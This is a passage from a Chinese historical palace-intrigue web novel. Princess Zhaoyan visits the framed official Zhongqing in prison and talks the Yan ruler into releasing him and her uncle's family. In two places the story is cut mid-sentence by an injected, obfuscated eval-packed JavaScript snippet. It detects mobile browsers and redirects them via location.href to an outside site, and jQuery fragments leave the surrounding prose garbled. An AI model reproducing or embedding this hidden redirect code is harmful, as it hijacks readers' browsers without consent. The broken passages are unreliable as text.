禁军粗暴地将仲清从榻上扯了下来,身下传来一阵难耐的疼,仲清才后知后觉。 双手被束缚,他不明白为何要抓他,用尽全力挣扎无果,神情冷峻地盯着内侍:“不知内侍此举何意?无缘无故带这么多人闯入朝官的寝室,是否太仗势欺人!” “谁说无缘无故?你这小人明知故犯还不束手就擒,眼下竟有脸挑我的错处,你给国君谏言书上写了什么你心知肚明!” 听人说到谏言书,仲清回忆起自己昨日向国君状告王酉铭之事,而后满脸不服气,“内侍官所言老夫不太明白,老夫只是想帮国君除掉祸害燕国之人,何错之有!” “你是想替燕国除祸害吗?”内侍反问他,“你是吃了多少熊心豹子胆?竟敢口出狂言说国君是祸害?依你所言,你是想除掉燕国宝座上的人吗?” “休要血口喷人!” 仲清听到内侍这几句大逆不道的话下意识便否认了。 他根本听不懂内侍在说什么。 王酉铭何时成为燕国宝座上的人了? 内侍不愿多浪费时间,唤一旁的禁卫军将仲清双手绑了起来,言语犀利道:“是不是血口喷人,待见了国君便知!” “你……” 门外冷不丁一声制止:“且慢!” 仲清以为是有人来救自己了,慌忙着向门外看去,内侍也一齐转头,想看看是谁来坏他好事,不料转身便见到一袭琥珀色官服的大司寇赵成延,内侍与之相视一眼,瞬间摆出一副恭顺模样看向来人。 只见赵成延从袖口拿出一枚令牌,双目直视着仲清,冷漠道:“王上有令,有人上报新任藏室官仲清与前泉城城主姜贯二人暗中勾结,背地密谋危害燕国之事,特命本官将他们三人抓入司寇大牢等待审查!” “大人,这其中怕是有什么误会吧?我们何时暗中勾结了?证据在何处?”仲清一连着问出好几个疑惑,毕竟他已经许久未和姜贯见面,眼下却被说勾结,明摆着被人污蔑。 赵成延也是听命办事,不知如何解释。 危急时刻仲清忽然想到一个人,恍如大梦中清醒,大喊道:“我懂了!定是那王酉铭!你们全都是同伙,今日之事定是尔等故意设计的!” 内侍一贯是站在权力大的那方,一听仲清满口胡言乱语,便知道眼前人是疯魔了,他恶狠狠地盯着仲清不耐烦道:“你若再出言不逊,辱骂朝臣,不用上报国君我便有权让赵司寇在狱中好好料理你。” “你敢!”仲清怒目圆睁,用国君压他,“你若敢越俎代庖,老夫即使是死也要让国君治你个僭越之罪。” 赵成延实在看不下二人你一句我一句的,耳朵都快要炸了,想到仲清还未被定罪,他也不过分示威,抬手拦在他们中间劝解:“二位大人别吵了,待国君查明真相便可知晓一切,内侍大人您先回宫复命,臣也要带嫌犯回去调查核实,便不多在此久留了。” 内侍只想着给赵成延一个面子,也不多与仲清争论,随即拂袖转身要走,路过仲清时一脸不屑地瞥他一眼,“还僭越之罪?有些人别被叫一声大人就真拿自己当个大官了。” “恕我提醒一句,某人还是先管好自己的死活再抓旁人的错处吧,别不等治旁人的罪自己先去了,哈哈哈哈哈——” 内侍说完便大笑着先他们一步踏出了门,留仲清与赵成延二人面面相觑,仲清知道没有证据旁人也不敢拿自己如何,认命地跟着他走了。 直到仲清进了阴冷的大狱一问才知,原来在内侍来抓他的路上,王酉铭进宫见了燕融,说是查到他与姜贯二人联手谋划危害燕国之事的证据,证据便是泉城城主府上二人日夜编写的各类策论之说,其中尽是对家国百姓的治理之策,还说姜贯将其用在了治理泉城上。 有好的策论却不上报国君,显而易见,是对国君燕融治理家国政策的不满,想自立门户。 仲清听完之后大惊失色,这简直就是搬弄是非,随意污蔑。 他竟不知王酉铭已经坏到如此地步,红口白牙居然会说出如此恶毒的话。要知道对国君不满想自立门户的罪,是要诛九族的! 且不说治理城池与治理家国不同,他们那些策论只是二人闲暇时候顺手胡乱写的,还并未实施城主府便被查封了。 再者说,国君治理国家自有自己的思虑,他们身份低微怎能相提并论?更莫要说做出冒天下之大不韪的谋朝篡位之事。 想到如今仲清很是后悔,早知如此,查抄城主府之前就应该将其全部烧掉,也不会白白给王酉铭一个陷害他们的机会。 但令他困惑的还有一事,国君内侍为何突然抓他,还放言他要除掉王座上的人。昨夜让人还是他首次向国君呈谏言,上面清清楚楚写着王酉铭的桩桩罪状,为何今日便成了国君燕融。 莫非是有人在那封谏言书上做了手脚? 想到这里,仲清浑身冒出冷汗,衣襟湿了大片,他才后知后觉,昨日那个帮他呈布帛到宫里的小厮到现在还未归来,想来是遇到了危险。王家到底还是权势滔天,也是他低估了人心险恶,燕国上上下下竟全部都渗入了他的人手。 今日仅仅只是向国君谏言,就被他插手篡改了内容,换来这牢狱之灾,来日他若是做些旁的事,这项上人头怕是也保不住了。 想到姜贯一家人不久后也会被抓入大牢,仲清沉沉叹了一口气,呢喃一句:“这该如何是好?” 早知今日,他便多想想娄卿旻的话,三思后行,与姜贯保持距离,也不至于如今将他连累至此。 本以为今日能状告王家,彻底除了他那个大患,不料反被他倒打一耙。 仲清顿时觉得眼前道路灰暗一片,见不到半点希望,自己的仕途也算是走到头了。他心灰意冷,垂头丧气地向后仰,一下子摔倒在布满灰尘的地面。 眼前尘土飞扬,牢狱顶端只留着一丝缝隙,让人喘不过气。 他想,或许他此生就没有做官的命吧。 木朽不雕,世衰难佐。 都是天命啊,天命难违…… * 燕国王宫上下也已经混成一锅粥,传言右师一早面见国君后,国君大怒,怕人跑了,便即刻动用了禁卫军与司寇府上的人,下令查抄整个外城将姜贯父子二人抓了起来。 宫里人来人往,乱作一团之时,才将将辰时。 朝颜想着今日会上演一出好戏,整夜无眠,直到快天明才入睡。睡了不到两个时辰便听到外面人仰马翻的,她匆匆起身,槐夏服侍她穿衣清洗,二人便去了王后的少寝宫面见朝弦。 听完王上派人传的话,朝弦没什么胃口,半点早膳也没用便心惊肉跳地在案前坐着,就等朝颜来见她。 宫人通报后,朝颜进了大殿,见朝弦面上也是那样惴惴不安,她先是俯身行了一礼,而后跪坐在案子的旁侧,疑惑地问人:“堂姐,宫里怎么乱糟糟的,究竟出了何事?” “颜儿你不知道,昨夜姜大人推举的那个小官给王上进言,竟敢骂王上是昏君,被恶鬼附了身,还说王上若屡教不改长此以往下去燕国恐有大患,你不知,国君最忌讳神鬼之说,更莫要说诅咒燕国。” 朝弦一面与朝颜解释着,温柔的面上也带上一种淡淡的厌烦,无人希望自己的夫君被人如此恶意诽谤。 他一个小官,竟如此胆大妄为,辱骂国君唾弃燕国,简直让人切齿痛恨。 “竟有此事?” 朝颜听完后诧异地反问,仿佛被雷劈了般。 仲清先生辱骂燕融为昏君? 怎么会? 不过片刻后她便恢复了理智,虽然她只与仲清先生有一面之缘,她也不信仲清能说出那样的话。 “颜儿,你认真与我说,此事与你无关吧?” 朝弦今日一早听到这事便想起朝颜初来燕国时说得那些话,心里便七上八下的,虽然她那时退避四周之人,她还是害怕被人听去用此事做文章,毕竟是她向国君提议让朝颜陪她过了年再离开。 她不想因为此事令他们夫妻二人之间出了嫌隙,亦不想朝颜受伤,坏了两国情谊。她身为一国之后,自是应谨慎再谨慎。 而朝颜见人有怀疑自己的倾向,心中有些不好受,起身弯腰行礼,语气毅然决然:“那件事先前与王后提过之后我便没再行动,毕竟还未有怀疑之人,朝颜不敢擅自行事也不想随意冤枉任何一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405614|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好人。” 见朝颜认真又疏远的模样,朝弦顿感无措,连忙拉着她的手把她强行按回软垫,“快坐下快坐下。你没传出去便好,堂姐也是担心你受伤,你放心,堂姐日后定不会再怀疑你。” 总归是小女子,气来得快消得也快。 朝颜不是来这里生闷气的,故而把话转到正事上来,“那个藏室官怎么样了?” “被抓入司寇牢狱了。”朝弦顿了顿,又道:“我还有一事要与你说,事关姜大人……” 闻言,朝颜明眸半抬,听着眼前柔情似水的人口中说出令人心寒的话语:“右师大人今早向国君进言,说藏室官与姜大人勾结,硬要让国君治姜大人的罪,眼下他们都已被抓入司寇大牢待审了。” “简直危言耸听!舅父早就不是泉城城主,如今已经孑然一身,身边已经没有半个可用之人了。我整日都派人照看他们,亦知晓舅父与表哥在客舍中养伤从未出过门,根本没理由也没有闲暇时辰与人勾结。” 早料到朝颜是如此天不怕地不怕的模样,毕竟她与姜贯刚相认没几日,她不可能放任姜贯被关入牢狱不管不顾。 但朝弦不知事情的全貌,也不知如何帮朝颜,只能暂时抚慰她:“颜儿你先别着急,我去向王上求求情,眼下宫中不让随意进出,你在这里安静待着等我消息可好?” 朝弦不想让她插手,不想坏了朝颜与燕融之间的和气。 但朝颜不是坐以待毙的人,随即拒绝她并提出另一个建议: “王后,请恕朝颜不听王命之罪。我想借您的令牌一用,我要出宫,我必须要去大牢见藏室官一面将事情的来龙去脉问个清楚,我不信他会辱骂国君,更不信他会诅咒燕国,我虽未与他相处过多长时日,但我能感觉到他是个好人。” “年过不惑才将将得来一个官职,他一心想实现自己的抱负,帮燕国都来不及呢,又怎么会谋害燕国?” 朝弦拍案而起,当即拒绝了朝颜,“不可!” 她最怕朝颜说出这些话。 然而朝颜表情倔强,眼睛直勾勾地,语气凛然:“堂姐,你知道我的,不达目的不罢休。” 若从朝弦这里拿不到令牌,她必定会想尽一切办法,偷也要偷个令牌。 她从小就这样,决定做什么便一鼓作气,矢志不移,不到黄河心不死。 朝弦瞪大双眸与之僵持了好一会儿,终究还是败下阵来,摇了摇头,“你一直如此,从小到大,不管是太子哥哥还是我,都拿你没办法。” 她思虑许久,最终还是心一狠,唤宫人将自己王后的令牌取过来,递到朝颜手上后还嘱咐她小心行事。 “王后,若王上追究起来,你便说是我偷盗了你的令牌,你并不知情。届时我会一人承担下所有的过错,不让你夫妻二人之间生嫌隙。” 又是这样,将所有事揽在自己身上。 对于这个堂妹,朝弦很是无奈,也很心疼。 朝颜越来越大,也愈发懂事,时刻为旁人考虑,半点不管自己。 朝颜拜别了王后,跨步走到大殿门前时,忽然听身后之人唤了她一声颜儿,朝颜回头便听她道:“依我之见你最好还是不要去了,眼下姜大人和那藏室官被传暗地勾结坐下祸害燕国之事,若查明情况可是不会轻易放过,万万不可再将你牵扯进去。” “我无事的堂姐,你信我。” 她当然是信她的,英勇无畏,乐于助人。 但朝弦不明白她身为公主,身份尊贵,何必事事亲力亲为,为自己讨麻烦。 想着便说了出来:“你总是这样大包大揽的,舍己为人不求回报,我无力阻止,很担心你。也想问问,这样好的心肠为你平添了多少烦心事?这样真的快乐么?” 朝颜回眸一笑,悠悠回望着女人,“堂姐无需牵挂我。” 而后她踏出门槛,语气十分轻快地喊了句:“心之所向,我乐在其中。” 直到她的背影消失在眼中,朝弦还未收回视线。 她回想自己这些年,从前身为公主时,整日功夫都在琴棋书画和女红上面,恪守规矩,不敢行差踏错分毫。如今自己身为王后,始终需维系着端庄贤惠的模样,尽心尽力主持后宫大小事务,日后怕是除了相夫教子便没有其他能做的事情了。 反观朝颜,她能感觉到朝颜那句话中的畅快、肆意,像是一阵来去自如的风,无人可掌握,纵使是和亲前的片刻自由,也能安心大胆的做自己。 勇敢做自己,这是她此生都未曾想也不敢想的事。 29. 漏网之鱼(二) 拿到王后的令牌后,朝颜回了寝殿乔装打扮了一番便打着出宫采买的幌子,躲过层层官兵,从膳房后门偷偷流出王宫,马不停蹄地赶往司寇牢狱。 彼时仲清正跽坐在一处杂草堆,趴在墙面写着什么。 余光瞥见一身披灰色大裘的轻盈身影,他转头定睛一看,女子缓缓摘下帽衫,一张娇艳动人的面庞显露出来,仲清霎时认出来人正是朝颜。 他满眼震惊,匆匆起身慌慌张张地跑向牢门处,顺着栅栏看向女子问道:“公主!你怎么来这儿了?” 朝颜将仲清上下打量一番,见人衣衫完整还未受过刑罚,顿时心安几分。她眼中蒙上一丝忧虑,语气惭愧:“先生,我来晚了。” “不晚不晚,只是不知殿下是如何进来的?”仲清抬手指着牢外,他知晓外面有层层官兵把手,一只苍蝇都飞不进来,所以也疑惑朝颜怎么突破重兵能来见他。 朝颜没有隐瞒,解释说:“我太过担心您,一时激动便将王后的令牌偷了,外面那些人都是虚张声势,见到我手上的王后亲令便放我进来了。” 解了仲清的疑惑,朝颜又道:“朝颜来此是想问先生为何事情忽然生了这么大的变故?昨日先生与娄少傅不是说好今日一同状告王酉铭么?” 怎么一夜之间,天上地下,反倒成了自掘坟墓? “此事不是几句话便能解释清楚的。” 事情已成定局,仲清本不愿多说,但朝颜硬是要了解事情的起因经过以便后续搭救,仲清耐不住她的恳求,便将事情全串在一起解释了个透。 此刻的仲清已经失望至极,想着自己已年过四十,半条命快入土,舍弃便舍弃了,索性直接把罪过揽在自己身上,还能救旁人一命。 故而劝诫朝颜道:“想来大司寇也快回来了,公主快离开吧。你尽管将所有错处往我一人身上推,将他二人择出去,届时公主再用泉城旧情帮他们求求情,救下他们你便带他们离开,走得远远的,别再回来,至于我,你们也不用再管。” “先生何苦如此?您也有亲人还在等着您回去,您放心,我会想尽一切办法救你三人一同离开。” 仲清摇了摇头,将自己方才写的认罪血书递到朝颜手上,一副听天由命的语气:“公主,放弃吧,一口气救三个罪人,谈何容易?证据我已准备妥当,你尽管按我说的做。你我皆知,今日落得如此下场全是那王酉铭从中作梗,他就是想置我们于死地,甚至不择手段污蔑我们。如今我也活够了,死了便死了,只是万不能连累姜兄他二人。” “我前些时日隐约觉得有事要发生,我便安排我儿与新妇离开了,如今也算是孑然一身,可以做自己的主了。不过王酉铭倒是有一言说对了,燕国就要没落了……” 毕竟高位上的国君早已是个麻木之人,胡乱听信小人谗言,日后注定不会有什么大作为。 而王酉铭一日不死,燕国便一日处在水深火热之中,若失了华纪的庇护,将来某日不是被邻国普桑吞并,就是被北狄踏平。 朝颜也不知那王酉铭竟能做到如此地步,还想劝什么,却见仲清满目愁容,心灰意冷道:“就当从前种种全是我的奢求吧,什么凌云之志?满腔抱负?时至今日老夫才彻彻底底地死心,那些全部都是做梦,白日梦!若君主不是明君,就算我用这半条命去阻拦,也不会有什么好结果。既如此,我还不如就此死去,也省的日后看到家国被别人侵占的狼狈场面痛不欲生!” 说完他重重咳了几声,怒火已经冲上胸腔,全然无法控制。 “先生,您千万别怄气。” 朝颜看着手上的血书,轻飘飘一片却让她如同端了坚石一般沉重,她知道仲清这是彻底对燕融失望了,但她还是不想仲清就这样白白死了。 她试图安慰他道:“您要振作一点,您乃世间少有的贤才,许多良策还未进献,鸿鹄之志也未实现,此生还未将您学到的真本事亮出来,万不可如此消极厌世。” 这番话让仲清暗沉的眸子燃起点点明光。 朝颜见状,垂下眼睫将仲清写好的血书重新塞回他怀中,“恕我不能接受先生这个法子,我会另寻他法,只要您还有一丝想活的希望,我定会救您出去。至于燕国,您也不必过于忧虑,少傅大人已经找到证据了,就等我们向国君禀明王酉铭的罪过,不会让燕国被旁人夺去的。” 仲清是何等聪明之人? 他猜到朝颜所言都是安慰他的话术,若有证据一早便能拿出来,怎会等到现在。 他早已心死,忆起这些时日在燕国王宫当值的光阴,一瞬间还有些懊悔:“早知今日,先前也不用费力气让姜兄帮我在国君面前谏言。” “用人不疑,疑人不用。这天下没有哪个君主不懂这个道理。说来说去,国君还是认定我们有篡位的私心了,否则任旁人说破天他也不会怀疑到我们身上。但他不信,只凭着书简上的几个字便能引得吊桥断裂,想让我们摔个粉身碎骨。” 仲清已经失去要活命的心思,自顾自地走回方才的位置,将血书往地下一抛,语气中有几分毅然决然,“公主也不必再劝,老夫心意已决,国君要杀要剐我都不惧,此生也算是真正当过几日的官,虽然是闲散官,但也心满意足了。” “先生要振作起来。您放心,我一定会想办法救你。” “你这傻孩子,何必呢?” 男人话中都是无奈,朝颜很是动容。 她还记得前段时日二人的对话,她心中始终对仲清是敬佩的。毕竟先前接触了许多人,他是唯一一个不仅不嘲讽她的女子身份,还夸赞她、给她希冀的人。 如今她更要投之以桃报之以李。 朝颜眼眶微红,言语间带着感激与坚定不移:“若非先生前些时日开导我,我也不会有如今这样坚决帮您的心,正如您所说,女子也可自力更生,也能有自己的天地。” “我会跟赵大人好生商量,委屈先生在此处先住上几日了。”说完朝颜不等他回话便转身离开了。 阴冷的牢狱不见天日,朝颜方才的那番话却像是一束明光,让仲清满目疮痍,已经黯淡了的心又重新死灰复燃。 这恍惚间,好似又一次验证了他从前一直坚持的思想。 人人都是同等的,不论男子女子、平民世家,都是可以有自己的一番作为,只是缺了个施展拳脚的时机。 朝颜来去匆匆,如疾如风,自打入了燕国,这司寇牢狱她已经来了不下三次,早已经熟得不能再熟。 她出了牢门后便见一伙人捆绑着舅父姜贯与姜宣同而来,她草草与之打了声招呼,又仗着王后的令牌与自己的公主身份对牢狱中的人施压,让他们在王命未下来之前好生对待仲清与姜家二人。 司寇牢狱在外城,朝颜见过仲清后便刻不容缓地赶回内城王宫。 回城路上她撞见几队嘈杂混乱的人群,他们皆是由一个年轻男子为首,举着几块白色布帛,其上写着“国君荒谬,沉冤昭雪”几个大字,口中还喊着为姜城主伸冤。 这无疑是在向国君示威! 几曾何时朝颜也听人讲过姜贯治理城池的威名,不想她这个舅父竟比她想象中的还要厉害,如此深得民心,让人们不惜顶着违抗王命的罪状也要帮他求情。 这样忠心耿耿的待遇怕是王座上的那位十年也达不到的程度,也难怪人人都想除掉姜家。 如此隆重场面,任谁看了不说一声忌惮。 朝颜心中顿时有些不自信。 百姓示威,若燕融硬要追究姜家的过错,那她也别无他法,眼下,还是要祈祷燕融不是那样狭隘小气的人。 国君耳目众多,时时刻刻盯着所有人的一举一动。 朝颜入了王宫,还未去面见国君,自己偷了王后令牌去见仲清的消息便被传到燕融耳中,甚至还放言,谁人都不能替他三人求情,否则将一齐按谋逆之罪下狱。 朝颜与仲清一番言论后,本是信誓旦旦地回来,不想走到燕融上值的朝宫前,想到那些百姓,心中有几分胆颤,忽地开始打了退堂鼓,但脚下步子却像是生了烟,止不住向前。 总归是大国公主,是燕国贵客,宫人得了王命也不敢过分阻拦,生怕伤到人。 朝颜就这样硬闯了进去,也是初生牛犊不怕虎,仗着自己的身份胡来。进到大殿,看到高台上的明黄色身影,朝颜抬手行了一礼,垂眸低头道:“还请国君恕罪,朝颜来此是有要事要与国君禀明。” “若是来为他们求情,可以不必再说了,公主来燕国数日,想来华纪国君在故国甚是想念,也到了该离燕之时了,是否需要孤帮你备好车马?” 燕融识大局,知晓燕国与华纪的情谊,也不会对朝颜做什么,但他王家威严也不能随意让人挑衅,在朝颜说完话后,他便直接给人一个下马威。 闻言朝颜心下一凛,而后故作镇定地抿了下唇,道:“国君不必拿王上压我,实不相瞒,朝颜之所以来燕国也不全是游玩,确切地说,朝颜来此是要帮国君您解决隐患,帮国君您重拾民心。” 朝颜就这样赤.裸裸地将话摊开来说,燕融刹时变了脸色,他感觉自己丢了上位者的面子,语气蒙上一层薄怒,拍案而起: “朝颜!你听好了,这是孤的燕国,也是孤的百姓,朝政之事还轮不到你一个外来女子置喙!”言语间尽是鄙夷。 已经无数次被人这样蔑视,朝颜早已习惯,她不反驳,反而接着道:“国君莫要生气,朝颜还是建议您先听听再拒绝也不迟。” “笑话!”燕融越过案台,站在高台处仰望朝颜,眸中带着轻视与不屑一顾。 “你一届女流之辈,字都不识得几个,若真拿出些本事我反倒还会另眼相看。” “朝颜有一计,可使得双方两全其美。” 燕融冷冷看了台下人一眼,“说。”而后又拂袖转身坐回案边。 “朝颜以为,您应立刻放了他们三人。” 早料到她想不出旁的法子,只会替人求情,燕融眸子一深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405615|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即冷笑着:“早听闻王后说你行事大胆,如今一看果然名不虚传!若你所说的两全其美的法子只是这点妇人之见,也不必在此浪费口舌,趁早回华纪待嫁!” 见燕融比她想得还要心急,朝颜反而觉得鱼已上钩,随之勾着唇角,又朝人一拜:“国君不必激我,您先听听再说。” 见人终于不放话反驳,朝颜才缓缓道出口:“想必国君已然知晓泉城百姓奋起替姜家求情一事。您也知晓百姓众多,我们杀不得抓不得,但也不能一直任由他们在街上游荡祸乱家国,唯一的办法就是即刻放了他三人。您是国君,是万人之上的掌权者,若此时放他们一马后,百姓们会怎么想?” 燕融表情依旧冷漠,坐在高台处静静听着朝颜还能说出什么话。 “造事的百姓虽看起来数不胜数,但说来说去他们中只有一两个识大体的,其余人都是顺势而为,跟着捣乱而已。以朝颜之见,国君可借机利用流言蜚语的力量帮您立威。若您能让一人觉得是您大人有大量,不计前嫌,在仲清大人辱骂您之后不仅不罚他反而还嘉奖他,变可趁机告知百姓您是个不怕被人挑错处的仁君,纵使彻底革了他的官职,也能在众人口中赢得一个体贴下属、豁达大度的好名声。” 见燕融神态认真,许是听了进去,朝颜顿了顿又道: “既然要放了仲清大人,那姜大人必定也是要放的。他二人的策论只是书写下来还并未实施,您可昭告天下说泉城那些治家安邦的策论也是有您在背后提点他们才想出的,届时就算真的将其用在治理百姓身上,百姓也只会感激国君天资聪颖,百年日后也会在史书上记下您是位有雄才大略的明君。” “此计一可助您安抚百姓,收服人心,二来还无偿得了些策论。可谓是一箭双雕,事半功倍。” 燕融抬眸,警惕地问:“孤凭什么信你所言?你与那姜贯血脉相连,保不齐在背后耍什么阴招等着孤上钩!” 话音落,大殿中忽然变得极为静默,此刻便是落根银针怕是都能听得一清二楚。 朝颜一向不喜欢被人冤枉,也不想舅父被人诟病。 她道:“姜城主在燕国数十年从未做过任何有害燕国之事,朝颜不知国君为何要如此怀疑一个忠臣!莫不是国君您心中有愧,觉得舅父会对您夺权之事怀恨在心,所以要报复您?” “那是他自己主动上交的!孤何时夺权了?再者说,燕国是孤的,孤要把自己的东西拿回来,何错之有?还怕他一个外臣报复不成?” 朝颜直接顺着他接话:“国君所言甚是。” “您也知晓是他主动上交的,那国君与他便没有旧仇,既无旧仇,他又如何想不开要谋害您?其实您也猜到舅父他背后有足够的力量去害您,但他为表忠心一早便交了实权不理朝政,这么多年过去了都没有任何谋反的心思,更莫要说眼下已经年过半百了,再推翻您自立门户又有何用?这其中根本就是有人故意陷害。” 朝颜又想起从书中看过的几句话,而后直挺挺地看向高位上的人,“国君也知晓水可载舟亦可覆舟的道理,百姓们便如同那水一般,若能让他们知晓您是个明君仁君,水推舟,则顺流而上,他们从此以后便会一直拥护王上您。反之,不用朝颜说您也能明白。” 燕融没答话。 朝颜又说:“国君如此宅心仁厚,想必心中是舍不得杀掉开国功臣的。既然您本就不会要了他们的命,何不趁此机会再做些利人利己之事呢?”朝颜一眼将其看透,燕融既然能听她在此说许多话,想必也是怀疑王酉铭所言真假,亦是舍不得彻底除掉姜家。 燕融透过朝颜看向旁的地方,沉默着,思索着。 朝颜所言不无道理,他早晨也是被冲昏了头,如今冷静下来一想,事情确实没那么严重,更不至于一下要三条人命。他犹豫一番,最终应了下来:“既如此,那便按你说的做。若事成孤便不追究,若不成,你也一并受罚!” 朝颜丝毫不惧燕融的威胁,反而信心满满地笑了起来,她来的路上便早已将事情从头到尾理了一遍,她也坚信此事一定能成! 一番对峙过后,燕融忽然对朝颜这个小女子还有些刮目相看,神态比方才那盛气凌人的模样都和气了许多,语气降低几分:“想不到你一女子竟有如此胆识,还能想到这样好的法子,甚至不惜豁出性命也要替他们求情。” “其实细细看来,你与王后的眉眼间的确有几分相似,但你二人的性子却是天差地别。”燕融忽然仔细看着台下的女子,扯开话题。 朝颜不想在这种事情上比来比去,忙接话:“王后天姿国色,朝颜能有几分像堂姐,也是天赐的福分。” 油嘴滑舌,过于聪明。 他原以为朝颜就是个娇生惯养的傲气公主,不想却是个智勇双全的奇女子。 经此事后,燕融也逐渐对女子的认知有所改观。 原来世上除了王后那样温婉动人、善解人意的女人之外,还有这般英勇无畏、坚韧不屈的有趣之人。 30. 漏网之鱼(三) 一日未上朝,宫中就发生了如此荒谬的事。众朝臣们各自在府中故作镇定着,私下派人去打探消息。有班门弄斧的,已经想好法子准备等第二日插上一脚的,也有看戏观望,心中为姜家鸣不平的。 而王酉铭,上报此事后便回了府邸,让手下的人抓了几名犯上作乱的泉城百姓以儆效尤,暂时平息了众乱。 本以为不日便可等到国君下令处死牢狱中人的消息,谁知竟听闻燕融私下见了华纪公主,那公主离开不到半刻时辰,燕融便下令放了仲清与姜家二人。 得知此消息王酉铭顿时火冒三丈,午膳也没心思吃,未经召见便入了朝官去见燕融。还不等他开口,便被燕融以夸大其词诬告同僚为由数落了一顿,甚至还提及先前的贩盐之事。 王酉铭怕国君将新仇旧怨一起算,便只能耐着性子听人一顿责备,最后草草告退了。 回了府邸,王堃父亲已经在那等候多时。 二人交谈一番,知晓此次没在燕融那讨到半点好处,王酉铭便想着先按兵不动,毕竟留得青山在不怕没柴烧。 一想到燕融告诫他的几句话,他便有些心惊胆颤。不过倒是也给他提了个醒,粗盐之事燕融一直耿耿于怀,心里对他也起了疑心,觉得他暗中和普桑勾结。 但他只是想缓和两国关系,让燕国多一位盟友,他可是从未想过将王座占为己有,充其量只是想贪些钱财罢了。 眼下燕国因为姜家的事频频发生动乱,众人几乎都快忘了大牢中半死不活的那位,他脑子一转忽然想了个主意,立刻吩咐下人来了出偷梁换柱。 直至夜里听到暗卫报来的好消息,王酉铭才安下心来。 一日之间,事情转来变去,不论宫里牢里皆是人心惶惶。 而忙活了大半日的朝颜终于可以喘口气了,她心上紧绷一日的弦也松了片刻。 国君当日便下令昭告了燕国全城百姓姜家无罪,还对其嘉奖一番,不催其离开燕国。只是仲清辱骂国君一事已属实,证据确凿,燕融便让其功过相抵,但死罪难免活罪难逃,最终也罚了他十大板,令他受刑过后继续当任藏室官。 燕融赦免姜贯的王命传满整个燕国后,不仅泉城百姓,甚至所有的百姓都拍手叫好,对这个结果很是满意,纷纷称赞燕融为明君,他从前仁义至善的称号在众人心中又加深了几分。 光阴易逝,不知不觉事情已经过去五日,宫中上下已经恢复了宁静,翌日朝官上朝后对燕融一顿虚溜拍马,百姓也各归其位自扫门前灰,一如往常。 只有朝颜,连着好几日一直为旁人的事奔走不停。 她先是请太医帮仲清先生治了伤,用了上好的药助其痊愈,而后又带着槐夏一齐到外城见了姜家二人。 冬日将近,他们用燕融发下的赏金买下一所小院,但此时拮据从简的日子终究比不得从前。害怕他们着凉染病,朝颜特意将自己分到的木炭带出宫给他二人取暖。 此次化险为夷,他们也看出燕融不是完完全全任由奸人作祟,也是明事理、听人劝的。 但一日在燕国,便一日须警惕王酉铭再使下作手段。燕融不喜家国朝臣间内斗,为此还特意下令不许朝臣之间再行构陷之事,否则查明真相便连坐九族。 想来王家得知此消息后会消停一段时日。 朝颜与姜贯商议,待平安过了这个年,再想其他。 拜别姜贯后,朝颜与槐夏又一同去了连瑕的酒肆。 她们刚到酒肆门前,便撞见一男子跟连瑕在酒肆门口纠缠不清,男子的背影有几分眼熟,他一边拉扯着连瑕,还一边咒骂着女子不守妇道、见利忘义。 正疑惑着那人的身份,忽听连瑕唤人一声李轩。 李轩,李轩。 这名字很耳熟,男子拉扯过程中忽的转过头来,朝颜一下便看清那人的真面目,脸颊已经瘦到极致,眼窝凹陷,双目无神,模样很是丑陋。就连身上所穿衣物也是破破烂烂,布满灰尘,补丁东一块西一块。 朝颜见状,冷不丁笑了一声,她紧盯着男子,眸中流出一丝厌恶。也是风水轮流转,他如今的模样与从前被嫌弃的连瑕有过之而无不及,这便是因果报应。 不过令她想不到的是,已经过去数月,这人竟还能好生生站着这儿。 依稀记得那时候男人已经被打得皮开肉绽无人照看,下人来报说他奄奄一息濒临死亡,如今看他生龙活虎的,已然恢复好了,还真是命大。 “殿下,那是连瑕姐姐从前的夫君罢?” 身侧站着的槐夏也认出那人来了。 朝颜点头回应槐夏后,二人便一起迈步向连瑕那处去,走到近处看到男子还拉着连瑕的衣襟不放,朝颜眸中多了丝寒气,语气带着不怒自威:“先前几十大板未能要了你的命,你竟还敢来此处纠缠?” 李轩闻言立即扭头,见到朝颜的脸便瞪大了双眼,手指着她,放肆大喊:“又是你!你怎如此爱管闲事?不知这是我与她的家事么?” 一旁槐夏见人用手指朝颜,快步上前一把打掉他的手,气得骂出了声:“你放屁胡扯!你二人早就不是夫妻了,何来家事一说?” 简直恬不知耻,分明是他抛妻在先,如今还有脸站在此处说这是家事。 被人打了,颜面尽失,李轩的面目狰狞起来,恶狠狠道:“你们少管闲事!今日我来这儿是向这女人讨要属于我的那份银钱的,讨到我就离开燕国,日后绝不再来!” “你的那份?银钱?”朝颜很疑惑,“此言何意?” 她还记得连瑕是被他一纸休书赠予旁人的,走时两手空空,哪里有他的银钱? 还没深想便听见李轩又道:“若非我与我娘有先见之明放她跟那东家结亲,她怎能得到如今撒手当掌柜的好日子?” “你未免太厚颜无耻!”饶是从未说过难听话的朝颜,此刻也被他激得忍不住骂了一句。 场面愈来愈烈,二人四周围上一大群看热闹的人。 朝颜紧紧捏着手中绢帛,指尖已经发白。 